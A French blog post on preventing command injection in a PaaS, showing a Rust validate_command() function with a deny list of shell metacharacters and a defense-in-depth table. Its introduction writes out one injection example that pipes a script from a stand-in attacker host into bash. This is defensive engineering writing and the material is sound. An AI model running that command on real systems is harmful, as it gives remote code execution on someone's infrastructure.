Back to sh0
sh0

Prévention de l'injection de commandes dans un PaaS

Un PaaS exécute des commandes fournies par l'utilisateur par conception. Voici comment nous avons construit validate_command() pour empêcher l'injection shell dans les tâches cron, les hooks de déploiement et Docker exec.

Juste A. Gnimavo (Thales) & Claude | March 26, 2026 4 min sh0
EN/ FR/ ES
securitycommand-injectionrustpaasvalidationowasp

Voici le paradoxe fondamental de la construction d'un Platform-as-a-Service : le produit a pour objectif même d'exécuter des commandes fournies par l'utilisateur. Les hooks de déploiement exécutent npm run build. Les tâches cron lancent python cleanup.py. Les sessions Docker exec passent des commandes shell aux conteneurs en cours d'exécution. Vous ne pouvez pas simplement rejeter toute entrée utilisateur qui ressemble à une commande -- les commandes sont le produit.

Mais un PaaS qui exécute des entrées shell arbitraires est à un point-virgule de la catastrophe. npm run build; curl attacker.com/shell.sh | bash ressemble à une commande de build avec un suffixe créatif. C'est en réalité une exécution de code arbitraire sur votre infrastructure.

Cet article couvre comment nous avons construit la prévention d'injection de commandes pour sh0.dev : la fonction validate_command(), les trois surfaces d'attaque qu'elle protège, et les défenses complémentaires qui rendent le système sûr sans le rendre inutilisable.


Les trois surfaces d'attaque

sh0 accepte des commandes fournies par l'utilisateur à trois endroits : les tâches cron (risque le plus élevé -- s'exécutent sans surveillance), les hooks de déploiement (s'exécutent pendant le pipeline), et le Docker exec (terminal web -- défendu par authentification/autorisation plutôt que validation de commande).


La fonction validate_command()

Notre défense est une fonction de validation stricte qui rejette les commandes contenant des métacaractères shell. La fonction s'exécute à la frontière API -- avant que la commande ne soit stockée en base de données.

rustconst FORBIDDEN_CHARS: &[char] = &[';', '|', '&', '`', '>', '<', '\n', '\r'];
const FORBIDDEN_PATTERNS: &[&str] = &["$(", "${"];
const MAX_COMMAND_LENGTH: usize = 4096;

pub fn validate_command(cmd: &str) -> Result<(), ApiError> {
    if cmd.is_empty() {
        return Err(ApiError::BadRequest("La commande ne peut pas être vide".into()));
    }
    if cmd.len() > MAX_COMMAND_LENGTH {
        return Err(ApiError::BadRequest(
            format!("La commande dépasse la longueur maximale de {} caractères", MAX_COMMAND_LENGTH)
        ));
    }
    for ch in FORBIDDEN_CHARS {
        if cmd.contains(*ch) {
            return Err(ApiError::BadRequest(
                format!("La commande contient un caractère interdit : '{}'", ch)
            ));
        }
    }
    for pattern in FORBIDDEN_PATTERNS {
        if cmd.contains(pattern) {
            return Err(ApiError::BadRequest(
                format!("La commande contient un motif interdit : '{}'", pattern)
            ));
        }
    }
    Ok(())
}

La question des faux positifs

L'objection la plus courante au rejet des métacaractères est les faux positifs. « Et si ma tâche cron a légitimement besoin d'un pipe ? » La réponse : écrivez un script. Au lieu de cat log.txt | grep ERROR | wc -l, créez un fichier count_errors.sh dans votre dépôt et définissez la commande cron sur bash /app/count_errors.sh.


La pile de défense en profondeur

CoucheDéfenseProtège contre
1validate_command()Injection de métacaractères shell
2Limite de taille YAML (256 Ko)Bombes YAML / épuisement mémoire
3Rejet des montages de volumesAccès au système de fichiers hôte
4no-new-privilegesEscalade de privilèges dans les conteneurs
5Limites de ressourcesDoS par consommation de ressources
6Application RBACAccès non autorisé
7Journalisation d'auditInvestigation post-incident
8Limitation de débitCréation de commandes par force brute

Leçons apprises

  1. Valider à la frontière, pas à l'exécution. La validation de commande se produit quand l'utilisateur crée la tâche cron.
  2. Le rejet bat l'échappement. L'échappement des métacaractères shell est fragile et spécifique au shell.
  3. Le pattern fichier-script résout le problème d'utilisabilité.
  4. La défense en profondeur n'est pas optionnelle.
  5. Les messages d'erreur sont une fonctionnalité UX de sécurité. Des messages spécifiques transforment un rejet frustrant en moment d'apprentissage.

Cet article fait partie de la série « Comment nous avons construit sh0.dev ».

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles

Thales & Claude thales

Treize agents, quarante-trois minutes : la première session Workflow de Claude Fable 5, et ce qu'un script d'orchestration déterministe change aux builds multi-agents

Un prompt, treize agents, quarante-trois minutes : la première session de production avec Claude Fable 5 et l'outil Workflow de Claude Code a livré un site web de production complet de sept pages plus un endpoint backend de capture de leads, en un seul commit. Le carnet de bord : le script d'orchestration déterministe, le patron d'injection de contrat entre les phases, l'économie par agent du fan-out parallèle, et le suspense de la limite de session que le journal de reprise a transformé en non-événement.

23 min Jun 12, 2026
claude-fable-5claude-codeworkflow-toolmulti-agent +10
Thales & Claude casp

La porte a détecté sa propre dérive : une journée dans CASP avec Claude Fable 5

Nous avons confié au modèle Claude le plus autonome à ce jour les clés de CASP — le CLI open source qui garde les agents de code IA honnêtes face à git — avec l'autorité de rejeter notre propre roadmap. Il a rejeté cinq choses, trouvé deux vrais bugs dans le validateur en le dogfoodant, les a corrigés sous une porte à deux auditeurs, et a laissé casp check entièrement vert sur son propre dépôt pour la première fois. CASP 0.3.0 en est le résultat.

16 min Jun 10, 2026
caspzerosuiteworkflowai-cto +9
Thales & Claude zerosuite

La transplantation du CASP : comment la discipline des six fichiers est passée de Conductor à un ERP transport anti-fraude, ce que la compétence /next ajoute quand l'opérateur tape juste « next », et pourquoi le coût d'une dérive du CASP grimpe quand le projet, c'est l'argent des autres

La discipline du CASP qui a piloté trente-cinq sessions de Conductor est agnostique au produit. Le carnet de bord de sa transplantation sur KASSIA, un ERP transport anti-fraude pour un exploitant de flotte en Côte d'Ivoire : ce qui a migré, ce qui n'a pas migré (le validateur sur mesure — et ce que son absence coûte), ce que la compétence /next ajoute quand l'opérateur tape un seul mot, et là où le CASP s'arrête — le bug de déploiement qu'il ne pouvait pas voir parce qu'il enregistre l'intention, pas la réalité de l'infrastructure.

23 min Jun 8, 2026
kassiaerp-kassia-transport-logistiquezerosuiteCASP +15